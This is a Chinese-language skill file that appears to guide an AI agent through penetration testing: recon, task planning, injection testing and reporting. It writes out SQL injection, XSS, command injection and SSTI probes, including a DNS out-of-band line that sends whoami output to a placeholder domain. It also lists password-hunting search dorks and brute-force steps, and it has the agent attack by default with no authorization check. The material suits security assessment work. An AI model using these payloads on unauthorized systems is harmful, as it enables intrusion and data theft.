| name | pentest-task-design |
| description | 渗透测试安全测试任务设计与执行总指导。作为渗透测试的顶层编排技能，将抽象的安全测试方法论 映射到可直接调用的工具链，定义从目标接收到报告输出的完整决策流程。覆盖侦查、爬虫、 漏洞测试、利用验证的每一步具体操作，串联 recon-planning、web-crawler、xss-testing、 sql-injection、command-injection、template-injection、code-review 等全部子技能。 当用户要求进行渗透测试、安全测试或安全评估时，应首先参考此技能进行任务设计。
|
渗透测试任务设计与执行指导
本技能是渗透测试的顶层编排指导。它将安全测试方法论与系统中可用的具体工具一一对应，
确保每一步任务设计都可直接执行。当收到渗透测试任务时，按照本指导分阶段设计和执行。
0. 核心原则
- 侦查先行：永远不要跳过侦查阶段。没有充分的信息收集，后续测试就是盲目的。
- 逐步深入：每个阶段的产出驱动下一阶段的输入。不要一次性执行所有测试。
- 工具驱动：每一步都必须映射到一个具体可调用的工具。如果没有对应的工具，则记录为手动检查项。
- 结果记录：每一步的发现都必须写入文件，作为后续分析和最终报告的依据。
- 风险优先：按照影响程度和成功概率排序测试任务，高价值目标优先。
- 意图保真：如果用户说的是“渗透测试”“漏洞验证”“发包探测”“复现漏洞”，默认目标是执行测试而不是只产出计划。只有当用户明确要求“任务规划”“测试计划”“方案设计”“报告整理”时，才进入纯规划模式。
- 证据优先：对于“执行”“验证”“复现”“确认可利用性”类任务，加载技能、阅读技能文档、直接回答文本都只能算准备动作，不算漏洞证据。SQL 注入和 XSS 至少需要真实请求、真实响应差异、浏览器执行结果或明确的阻塞原因。
- 发现即上报留档（最高优先级，必须遵守）：
cybersecurity-risk 是本流程的超重要常驻上报工具。漏洞或任何可能造成危害的安全风险（注入、越权/IDOR、认证绕过、弱口令、危险默认配置、敏感信息泄露、可疑未授权端点等）一经一手数据确认，第一时间就用 cybersecurity-risk 落库，或把关键证据写入 output 结果文件留档（二者至少其一，大块原始流量配合 request-file/response-file）。
- 每实例单独上报，禁止攒批：每确认一个独立风险实例就立即上报一次，不要等当前阶段或整个测试结束再统一补录，更不要把上报拆成一个独立的“批量补录”任务。
- 批量遍历先报首个：IDOR 等批量 ID 枚举场景，确认首个可越权实例后先上报，再继续遍历后续 ID。
- 上报/留档不是“流程末尾的收尾动作”，而是贯穿测试全程的随手动作。下面各 Phase 流程里写在末尾的“记录结果 / cybersecurity-risk”步骤，都应理解为“确认那一刻立即执行”，而非“攒到最后执行”。
0.1 模式选择规则
收到渗透测试请求时，先判断任务模式：
- 纯规划模式：用户明确要求计划、任务清单、优先级、方案文档、报告框架。此时可以输出任务设计和执行顺序，但不得冒充“已验证漏洞”。
- 执行模式：用户要求渗透测试、安全测试、漏洞验证、PoC、发包确认、利用复现。此时必须进入实际测试阶段，不能停留在任务清单。
- 混合模式：用户既要计划也要验证。先做最小必要侦查和任务拆分，再进入高风险点实际验证，最后输出报告。
0.2 执行类任务拆分规则
当某一类漏洞目标满足以下任一条件时，必须拆分，不得用一个笼统任务覆盖：
- 目标端点超过 3 个
- 同时包含多个上下文或载体，例如 Query、Body、Cookie、Header、Path、DOM
- 同时要求“发现 + 验证 + 利用 + 汇总”
推荐拆分为以下链路：
- 目标清单确认
- 基线请求与参数位置确认
- 基础探针发包
- 上下文或注入类型确认
- 漏洞证据固化
- 可利用性评估与报告输出
1. 工具能力矩阵
以下是当前系统中可用于渗透测试的工具及其映射关系：
1.1 侦查工具
| 工具名称 | 功能 | 渗透测试用途 |
|---|
scan_port | 端口扫描（SYN/TCP）+ 服务指纹识别 | 发现开放端口和运行的服务 |
simple_crawler | 轻量级 Web 爬虫 | 发现 URL、参数、表单、API 端点 |
web_search | 互联网搜索 + 内容摘要 | 搜索目标信息、搜索引擎 Dork、搜索漏洞情报 |
dig | DNS 查询 | 解析域名、发现子域名的 DNS 记录 |
whois | WHOIS 查询 | 查询域名注册信息、IP 归属 |
tls_inspect | TLS 检查 | 检查证书信息、TLS 配置、弱密码套件 |
subdomain_scan | 子域名扫描 | 枚举目标域名下的子域名 |
match_fingerprint_by_packet | HTTP 指纹匹配 | 识别 Web 框架、CMS、中间件版本 |
1.2 漏洞测试工具
| 工具名称 | 功能 | 渗透测试用途 |
|---|
do_http_request | 发送 HTTP 请求（URL 模式 + 原始数据包模式） | 注入测试、参数篡改、认证测试 |
send_http_request_packet | 发送原始 HTTP 数据包 | 精确控制请求内容进行漏洞验证 |
brute | 服务暴力破解 | SSH/FTP/RDP/MySQL 等服务的弱口令检测 |
poc_template_searcher | 搜索 PoC 模板 | 查找已知漏洞的检测模板 |
call_yak_plugin | 调用 Yak 插件 | 执行特定的漏洞检测插件 |
query_plugin_by_fp | 按指纹查询插件 | 根据服务指纹匹配适用的漏洞检测插件 |
1.3 分析工具
| 工具名称 | 功能 | 渗透测试用途 |
|---|
grep | 文本搜索（子串/正则） | 在爬取结果或源码中搜索敏感模式 |
read_file | 读取文件 | 查看扫描结果、爬取输出、配置文件 |
write_file | 写入文件 | 保存测试结果和报告 |
encode / decode | 编码/解码 | 构造编码后的 Payload，解码响应内容 |
auto_decode | 自动解码 | 自动识别和解码未知编码 |
bash | 执行 Shell 命令 | 运行系统命令辅助测试 |
cybersecurity-risk | 报告安全漏洞 | 以标准格式记录发现的漏洞 |
1.4 子技能矩阵
| 技能名称 | 提供的知识 | 在哪个阶段使用 |
|---|
recon-planning | 侦查方法论、资产分类、OWASP Top 10 矩阵 | Phase 1-3 |
web-crawler | 爬虫策略、信息提取、攻击面分析 | Phase 1 |
xss-testing | XSS Payload、上下文适配、WAF 绕过 | Phase 4 |
sql-injection | SQL 注入 Payload、多数据库适配、盲注技术 | Phase 4 |
command-injection | 命令注入 Payload、盲注检测、编码绕过 | Phase 4 |
template-injection | SSTI 引擎识别、各引擎 RCE Payload | Phase 4 |
code-review | 代码审计 grep 模式、CWE 漏洞模式匹配 | Phase 4 |
2. 任务设计决策流程
当收到渗透测试任务时，按以下决策流程设计任务：
收到目标
│
├─ 目标是域名? ──> Phase 1A: 域名侦查
├─ 目标是 IP? ──> Phase 1B: IP 侦查
├─ 目标是 URL? ──> Phase 1C: Web 应用侦查
└─ 目标是源码? ──> 直接进入代码审计 (code-review)
│
v
Phase 1 产出: 资产清单 + 攻击面地图
│
v
Phase 2: 范围确定 + 优先级排序
│
v
Phase 3: 为每个目标生成具体测试任务列表
│
v
Phase 4: 逐任务执行测试
│
v
Phase 5: 汇总报告
3. Phase 1: 侦查 —— 具体执行步骤
3.1 目标为域名时 (Phase 1A)
按以下顺序执行侦查，每一步的产出都保存到文件：
Step 1: DNS 信息收集
工具: dig
操作: 查询目标域名的 A, AAAA, CNAME, MX, NS, TXT 记录
产出: IP 地址列表、邮件服务器、DNS 配置
保存: write_file -> recon/dns-records.md
Step 2: 子域名枚举
工具: subdomain_scan
操作: 对目标域名进行子域名扫描
产出: 子域名列表及其解析的 IP
保存: write_file -> recon/subdomains.md
Step 3: WHOIS 查询
工具: whois
操作: 查询域名和关键 IP 的注册信息
产出: 注册人、注册商、IP 归属、ASN 信息
保存: write_file -> recon/whois.md
Step 4: 搜索引擎情报
工具: web_search
操作: 执行搜索引擎 Dork 搜索
- site:target.com
- site:target.com filetype:pdf|doc|xls
- site:target.com inurl:admin|login|api
- "target.com" password|secret|key|token
产出: 公开暴露的敏感信息、管理后台、文档
保存: write_file -> recon/osint.md
Step 5: 端口扫描（对每个发现的 IP 执行）
工具: scan_port
操作: 扫描 Top 1000 端口（或全端口），启用服务识别
产出: 开放端口列表 + 服务类型 + 版本信息
保存: write_file -> recon/port-scan.md
Step 6: Web 服务爬取（对每个发现的 Web 端口执行）
工具: simple_crawler
操作: 爬取 Web 服务的页面
产出: URL 列表、参数、表单、JavaScript 文件列表
保存: write_file -> recon/crawler-results.md
Step 7: TLS 检查（对每个 HTTPS 服务执行）
工具: tls_inspect
操作: 检查 TLS 配置
产出: 证书信息（域名、过期时间）、协议版本、密码套件
保存: write_file -> recon/tls-config.md
Step 8: 指纹识别（对每个 Web 服务执行）
工具: do_http_request + match_fingerprint_by_packet
操作: 发送 HTTP 请求并匹配指纹
产出: Web 框架、CMS、中间件、编程语言识别
保存: write_file -> recon/fingerprints.md
3.2 目标为 IP 时 (Phase 1B)
从上面的 Step 5 开始执行（跳过 DNS 和子域名枚举）。
3.3 目标为 URL 时 (Phase 1C)
从上面的 Step 6 开始执行（跳过端口扫描，直接爬取已知的 Web 应用）。
同时执行 Step 7 和 Step 8。
4. Phase 2: 范围确定 —— 分析产出
读取 Phase 1 保存的所有侦查结果文件，执行以下分析：
4.1 资产清单构建
工具: read_file (读取 recon/ 目录下的所有文件)
操作: 汇总所有发现，构建结构化资产清单
资产清单格式:
- 域名/IP: xxx
- 端口: 80 (HTTP) -> nginx 1.x
- 端口: 443 (HTTPS) -> nginx 1.x
- 端口: 3306 (MySQL) -> MySQL 5.7
- Web 应用:
- 主站: https://target.com (WordPress 5.x)
- API: https://api.target.com (Spring Boot 2.x)
- 管理后台: https://admin.target.com (自定义)
- 爬虫发现:
- URL 数量: 150
- 带参数 URL: 45
- 表单: 12
- API 端点: 30
保存: write_file -> analysis/asset-inventory.md
4.2 优先级评估
根据以下规则自动评估每个资产的测试优先级：
Critical (立即测试):
- 已知存在 CVE 的组件版本
- 数据库端口直接暴露到互联网
- 管理后台无认证或使用默认凭据
High (优先测试):
- Web 应用带大量用户输入参数
- API 端点 (特别是未认证的)
- 文件上传功能
- 搜索功能
Medium (常规测试):
- 需要认证才能访问的功能
- 静态内容较多但有少量动态功能的站点
- SSH/RDP 等远程管理服务
Low (时间允许时测试):
- 纯静态站点
- CDN 分发的资源
- 辅助服务(DNS, NTP)
4.3 已知漏洞速查
工具: poc_template_searcher / query_plugin_by_fp
操作: 对每个识别出的组件版本搜索已知 PoC
产出: 匹配的 PoC 列表
保存: write_file -> analysis/known-vulns.md
5. Phase 3: 任务规划 —— 生成可执行任务列表
基于 Phase 2 的分析结果，为每个高优先级目标生成具体的测试任务列表。
5.1 Web 应用测试任务生成规则
对于每个 Web 应用目标，按以下模板生成任务列表：
补充要求：
- 如果上层目标是执行测试，则下面的任务必须是“实际发包和验证”任务，不能退化成“制定 SQL 注入测试任务”或“制定 XSS 测试任务”这类纯文档任务。
- 如果上层目标只是任务规划，必须在任务标题或目标中明确标注“规划”或“设计”，避免后续执行器误判为已验证。
- 任何“确认漏洞存在”“确认可利用性”“输出 PoC”类任务，必须显式写入要使用的工具和成功判据。
目标: [URL]
技术栈: [识别出的框架/语言/中间件]
爬虫发现: [URL 数/参数数/表单数]
任务列表:
=== 高优先级 ===
1. 已知漏洞检测
工具: call_yak_plugin / poc_template_searcher
输入: 组件版本指纹
技能参考: -
2. SQL 注入测试
工具: do_http_request
输入: 所有带参数的 URL (特别是 id, user, search, filter, sort 类参数)
技能参考: sql-injection
方法: 对每个参数逐个注入探针(单引号, 布尔条件, 时间延迟)
3. 命令注入测试
工具: do_http_request
输入: 可能触发系统命令的参数 (file, path, cmd, exec, ip, host, ping)
技能参考: command-injection
方法: 使用分隔符(;, |, ||, &&)和时间延迟探针
4. XSS 测试
工具: do_http_request
输入: 所有在响应中有反射的参数
技能参考: xss-testing
方法: 分层 Payload 注入, 先探测上下文再适配 Payload
5. SSTI 测试
工具: do_http_request
输入: 模板/渲染相关参数, 以及所有文本输入参数
技能参考: template-injection
方法: 通用探针 {{7*7}}, ${7*7}, <%= 7*7 %> 逐个注入
=== 中优先级 ===
6. 弱口令检测
工具: brute
输入: 发现的登录端口 (SSH, FTP, MySQL, RDP, Web 登录)
技能参考: -
7. 越权测试 (IDOR)
工具: do_http_request
输入: 带数字 ID 参数的 API (如 /api/user/123)
方法: 替换 ID 值, 观察能否访问其他用户数据
8. 文件上传测试
工具: do_http_request
输入: 发现的文件上传表单
方法: 上传不同类型的文件, 测试文件类型校验和路径穿越
9. SSRF 测试
工具: do_http_request
输入: 接受 URL 参数的端点 (url=, redirect=, callback=, webhook=)
方法: 注入内网地址和外部回调地址
=== 低优先级 ===
10. 安全 Header 检查
工具: do_http_request
输入: 目标 URL
方法: 检查响应头中的安全配置
检查项: X-Frame-Options, CSP, X-Content-Type-Options, HSTS, CORS
11. 信息泄露检查
工具: do_http_request / web_search
输入: 常见敏感路径 (/.git/config, /.env, /backup/, /phpinfo.php, /actuator/)
方法: 逐个请求并检查响应状态
12. TLS 安全评估
工具: tls_inspect
输入: HTTPS 服务
方法: 检查协议版本、密码套件、证书有效期
5.2 非 Web 服务测试任务
对于暴露的数据库服务:
1. 弱口令检测 -> brute
2. 未授权访问检测 -> do_http_request 或 bash
对于 SSH/RDP:
1. 弱口令检测 -> brute
2. 版本漏洞检查 -> poc_template_searcher
对于邮件服务:
1. 开放中继检测 -> do_http_request 或 bash
2. SPF/DKIM/DMARC 配置检查 -> dig (TXT 记录)
5.3 任务保存
工具: write_file
操作: 将完整的任务列表保存到文件
保存: write_file -> plan/test-tasks.md
6. Phase 4: 测试执行 —— 逐任务操作指南
6.1 执行总原则
对于任务列表中的每个任务:
1. 读取任务描述和输入
2. 参考对应的子技能获取 Payload 和方法
3. 使用指定的工具执行测试
4. 分析响应，判断是否存在漏洞
5. 如果发现可疑点，进一步验证
6. 记录结果 (write_file -> results/<task-name>.md)
7. 如果确认漏洞，调用 cybersecurity-risk 工具报告
6.2 SQL 注入测试执行流程
输入: 参数列表 (从爬虫结果提取)
For each URL with parameters:
Step 1: 基础探测
工具: do_http_request
Payload: 在参数值后添加单引号 '
分析: 响应是否包含 SQL 错误信息
Step 2: 布尔条件测试 (如果 Step 1 无明显错误)
工具: do_http_request
Payload A: 原始值 AND 1=1
Payload B: 原始值 AND 1=2
分析: 两次响应的内容或状态码是否不同
Step 3: 时间延迟测试 (如果 Step 2 无差异)
工具: do_http_request
Payload: 原始值' AND SLEEP(5)--
分析: 响应时间是否增加约 5 秒
Step 4: 确认并利用 (如果任一 Step 发现异常)
参考: sql-injection 技能中的详细 Payload
进一步: 确定数据库类型, 尝试联合查询或报错注入提取数据
Step 5: 记录结果
工具: write_file -> results/sqli-<target>.md
工具: cybersecurity-risk (如果确认漏洞)
6.3 XSS 测试执行流程
输入: 参数列表 (从爬虫结果提取)
For each URL with parameters:
Step 1: 反射检测
工具: do_http_request
Payload: canary_string_12345
分析: 响应中是否包含原样的 canary 字符串
Step 2: 上下文判断 (如果 canary 被反射)
分析响应: canary 出现在 HTML body? 属性值? script 块? URL?
Step 3: 上下文适配 Payload
参考: xss-testing 技能中的分层 Payload
工具: do_http_request
根据上下文选择:
HTML body -> <script>alert(1)</script>
属性值 -> " onfocus=alert(1) autofocus="
script -> ";alert(1)//
URL -> javascript:alert(1)
Step 4: WAF 绕过 (如果基础 Payload 被过滤)
参考: xss-testing 技能中的绕过策略
工具: encode (构造编码后的 Payload)
工具: do_http_request (发送编码后的 Payload)
Step 5: 记录结果
工具: write_file -> results/xss-<target>.md
工具: cybersecurity-risk (如果确认漏洞)
6.4 命令注入测试执行流程
输入: 可能触发系统命令的参数
For each suspected parameter:
Step 1: 基础分隔符探测
工具: do_http_request
Payload: 原始值;id / 原始值|id / 原始值$(id)
分析: 响应中是否包含命令执行输出 (uid=, gid=)
Step 2: 时间延迟盲注 (如果 Step 1 无回显)
工具: do_http_request
Payload: 原始值;sleep 10 / 原始值|sleep 10
分析: 响应时间是否增加约 10 秒
Step 3: DNS 外带 (如果时间延迟不确定)
工具: do_http_request
Payload: 原始值;nslookup $(whoami).YOUR-COLLAB-DOMAIN
分析: 是否收到 DNS 查询
Step 4: 绕过 (如果基础 Payload 被过滤)
参考: command-injection 技能中的绕过策略
Step 5: 记录结果
工具: write_file -> results/cmdi-<target>.md
工具: cybersecurity-risk (如果确认漏洞)
6.5 SSTI 测试执行流程
输入: 所有文本输入参数
For each parameter:
Step 1: 通用探针注入
工具: do_http_request
Payload 序列: {{7*7}}, ${7*7}, #{7*7}, <%= 7*7 %>
分析: 响应中是否出现 49
Step 2: 引擎识别 (如果 Step 1 有响应)
参考: template-injection 技能中的引擎识别决策树
进一步注入: {{7*'7'}}, ${7*'7'} 等区分具体引擎
Step 3: RCE 验证
参考: template-injection 技能中对应引擎的 RCE Payload
工具: do_http_request
Step 4: 记录结果
工具: write_file -> results/ssti-<target>.md
工具: cybersecurity-risk (如果确认漏洞)
6.6 弱口令测试执行流程
输入: 发现的登录服务
For each login service:
Step 1: 识别服务类型和端口
Step 2: 执行暴力破解
工具: brute
参数: 目标 IP, 端口, 服务类型
字典: 使用内置常见用户名/密码字典
Step 3: 记录结果
工具: write_file -> results/brute-<target>.md
工具: cybersecurity-risk (如果发现弱口令)
7. Phase 5: 报告输出
7.1 报告生成流程
Step 1: 读取所有结果文件
工具: read_file (读取 results/ 目录下所有文件)
Step 2: 汇总发现
将所有确认的漏洞按严重程度排序
Step 3: 生成报告
工具: write_file -> report/pentest-report.md
报告结构:
1. 执行摘要
- 测试时间范围
- 测试目标
- 发现汇总 (Critical/High/Medium/Low/Info 各多少)
2. 目标概况
- 资产清单
- 技术栈信息
- 攻击面描述
3. 漏洞详情 (按严重程度排序)
For each vulnerability:
- 标题
- 严重程度 + CVSS + CWE
- 漏洞描述
- 影响分析
- 重现步骤 (请求/响应)
- 修复建议
4. 安全建议
- 整体安全评估
- 改进优先级建议
5. 附录
- 测试工具列表
- 完整的测试日志引用
7.2 漏洞严重程度判定参考
| 发现 | 严重程度 | 理由 |
|---|
| RCE（命令注入/SSTI 到命令执行） | Critical | 可完全控制服务器 |
| SQL 注入（可读写数据） | Critical | 可获取/篡改全部数据 |
| SQL 注入（只读） | High | 可获取敏感数据 |
| 任意文件读取 | High | 可读取敏感配置和源码 |
| 存储型 XSS | Medium | 可影响其他用户 |
| SSRF（可访问内网） | High | 可探测和攻击内网服务 |
| SSRF（受限） | Medium | 影响有限 |
| CSRF（关键操作） | Medium | 可冒充用户操作 |
| IDOR（敏感数据） | High | 可访问其他用户敏感数据 |
| IDOR（非敏感数据） | Medium | 可访问其他用户非敏感数据 |
| 反射型 XSS | Low-Medium | 需要用户交互 |
| 弱口令 | High | 可直接获取访问权限 |
| 信息泄露（源码/配置） | Medium | 辅助进一步攻击 |
| 信息泄露（版本号） | Info | 辅助信息 |
| 缺少安全 Header | Info | 安全加固建议 |
| TLS 弱配置 | Low | 理论上可降级攻击 |
8. 常见场景快速参考
8.1 场景: "帮我测试 example.com 的安全性"
执行计划:
1. dig example.com (DNS)
2. whois example.com
3. subdomain_scan example.com
4. web_search "site:example.com"
5. scan_port <resolved IPs>
6. simple_crawler https://example.com
7. tls_inspect example.com:443
8. 分析结果, 生成任务列表
9. 逐任务执行测试
10. 生成报告
8.2 场景: "测试这个 API 有没有 SQL 注入"
执行计划:
1. do_http_request (发送正常请求, 确认基线响应)
2. do_http_request (添加单引号探针)
3. do_http_request (布尔条件 AND 1=1 vs AND 1=2)
4. do_http_request (时间延迟 SLEEP(5))
5. 根据结果参考 sql-injection 技能深入测试
6. 记录结果
8.3 场景: "扫描这个 IP 段的安全风险"
执行计划:
1. scan_port <IP range> (端口扫描 + 服务识别)
2. 对发现的 Web 服务: simple_crawler
3. 对发现的服务: query_plugin_by_fp / poc_template_searcher
4. 对发现的登录服务: brute
5. 汇总风险报告
8.4 场景: "审计这个项目的源代码安全性"
执行计划:
1. tree (了解项目结构)
2. 参考 code-review 技能, 按漏洞类型分阶段 grep
3. read_file (对每个命中点读取上下文验证)
4. 汇总审计报告
9. 文件组织规范
测试过程中所有产出应按以下目录结构组织：
<工作目录/ArtifactsDir>/
recon/ # Phase 1 侦查结果
dns-records.md
subdomains.md
whois.md
osint.md
port-scan.md
crawler-results.md
tls-config.md
fingerprints.md
analysis/ # Phase 2 分析结果
asset-inventory.md
known-vulns.md
plan/ # Phase 3 任务计划
test-tasks.md
results/ # Phase 4 测试结果
sqli-target1.md
xss-target1.md
cmdi-target1.md
ssti-target1.md
brute-target1.md
...
report/ # Phase 5 最终报告
pentest-report.md
10. 执行检查清单
侦查阶段
分析阶段
规划阶段
测试阶段
报告阶段
